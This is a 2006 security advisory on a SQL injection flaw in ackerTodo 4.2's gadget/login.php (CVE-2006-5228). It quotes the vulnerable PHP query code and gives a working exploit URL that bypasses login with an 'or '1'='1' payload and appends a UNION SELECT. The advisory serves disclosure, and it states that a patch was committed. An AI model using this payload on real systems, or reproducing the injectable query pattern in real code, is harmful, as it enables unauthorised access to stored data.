ackerTodo 4.2 SQL Injection Vulnerability

2006.10.13

Credit: Francesco Laurita (francesco francesco-laurita info)

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-5228

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

ackerTodo 4.2 SQL Injection
vendor: http://ackertodo.sourceforge.net/site2/index.html
File: gadget/login.php

Exploiting this issue could allow an attacker to access sensible data.

Vuln code:
$user_login = trim($_REQUEST['up_login']);
$user_pass = trim($_REQUEST['up_pass']);
$num_tasks = trim($_REQUEST['up_num_tasks']);

and after...
$result = db_query("SELECT * FROM ".$table_prefix."users "
                        ."WHERE login='$user_login' "
                        ."AND password=md5('$user_pass')");

and after...

$sql = $sql . ' LIMIT ' . $num_tasks;

Exploit:
http://site.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or
%20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION
%20select%20*%20FROM%20tasks

Vendor has been informed and a patch has been committed into cvs

Regards

See this note in RAW Version

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ackerTodo 4.2 SQL Injection Vulnerability

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